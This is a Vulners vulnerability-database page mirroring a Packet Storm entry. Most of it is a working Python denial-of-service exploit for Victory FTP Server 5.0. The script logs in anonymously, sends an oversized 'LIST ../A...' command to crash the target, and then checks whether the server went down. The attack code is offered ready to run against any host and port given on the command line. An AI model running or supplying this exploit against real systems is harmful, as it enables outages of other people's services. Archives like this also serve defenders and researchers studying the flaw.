Lucene search
K

Victory FTP Server 5.0 Denial Of Service

🗓️ 24 Feb 2011 00:00:00Reported by C4SS!0 G0M3SType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Exploit Denial of Service Victory FTP Server 5.0. Connect to server, find vulnerability, and send exploit to crash server.

Code
`#!/usr/bin/python  
#  
#  
# xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx  
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx   
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx   
# xxxxx xxx xxx xxx xxx xxx xxx xxxxxx   
# xxx xxx xxx xxx xxx xxx xxx xxxxxxxx xxxxxxxx xxxxxxxxx  
# xxxxxx xxx xxx xxx xxx xxx xxx xx xx xx xx xx  
# xxx xxx xxx xxx xxx xxx xxx xxx xx xx xx xxxx xx xxxxx  
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxx xxxxxxxx xx xx xx xx  
# xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx xxx xxxxxx xx xx xxxxxxxxx  
#  
#  
#[+]Exploit Title: Exploit Denial of Service VicFTPS  
#[+]Date: 02\24\11  
#[+]Author C4SS!0 G0M3S  
#[+]Software Link: http://vicftps.50webs.com/VicFTPS-5.0-bin.zip  
#[+]Version: 5.0  
#[+]Tested On: WIN-XP SP3  
#[+]CVE: N/A  
#[+]Language: Portuguese  
#  
#  
#Author C4SS!0 G0M3S || Cassio Gomes  
#E-mail [email protected]  
#Site www.x000.org/  
#  
#  
  
  
import socket  
import time  
import os  
import sys  
  
if os.name == 'nt':  
os.system("cls")#SE FOR WINDOWS  
os.system("color 4f")  
else:  
os.system("clear")#SE FOR LINUX  
  
  
def usage():  
print """  
============================================================  
============================================================  
===============Exploit Denial of Service Vicftps 5.0========  
===============Autor C4SS!0 G0M3S || C\xe1ssio Gomes==========  
===============E-mail [email protected]==================  
===============Site www.x000.org/===========================  
============================================================  
============================================================  
"""  
  
  
if len(sys.argv)!=3:  
usage()  
print "\t\t[-]Modo de Uso: python %s <Host> <Porta>" % sys.argv[0]  
print "\t\t[-]Exemplo: python %s 192.168.1.2 21" % sys.argv[0]  
sys.exit(0)  
buf = "../A" * (330/4)  
usage()  
print "\t\t[+]Conectando-se Ao Servidor %s\n" % sys.argv[1]  
time.sleep(1)  
try:  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
print "\t\t[+]Checando se o Servidor e Vulneravel\n"  
time.sleep(1)  
banner = s.recv(2000)  
if((banner.find("VicFTPS"))!=-1):  
print "\t\t[+]Servidor e Vulneravel:)\n"  
time.sleep(1)  
else:  
print "\t\t[+]Sinto Muito, Servidor Nao e Vulneravel:(\n"  
time.sleep(1)  
print "\t\t[+]Enviando Exploit Denial of Service\n"  
time.sleep(1)  
  
s.send("USER anonymous\r\n")  
s.recv(2000)  
s.send("PASS\r\n")   
s.recv(2000)  
s.send("LIST "+buf+"\r\n")  
print "\t\t[+]Exploit Enviado Com Sucesso ao Servidor "+sys.argv[1]+"\n"  
time.sleep(1)  
print "\t\t[+]Checando Se o Exploit Funcionou\n"  
time.sleep(1)  
try:  
sock = socket.socket(socket.AF_INET,sock.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
print "\t\t[+]Sinto Muito o Exploit Nao Funcionou:(\n"  
time.sleep(1)  
sys.exit(0)  
except:  
print "\t\t[+]Exploit Funcionou, Servidor Derrubado:)\n"  
time.sleep(1)  
  
  
except:  
print "\t\t[+]Erro ao Se Conectar no Servidor "+sys.argv[1]+" Na Porta "+sys.argv[2]+"\n"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Feb 2011 00:00Current
0.6Low risk
Vulners AI Score0.6
24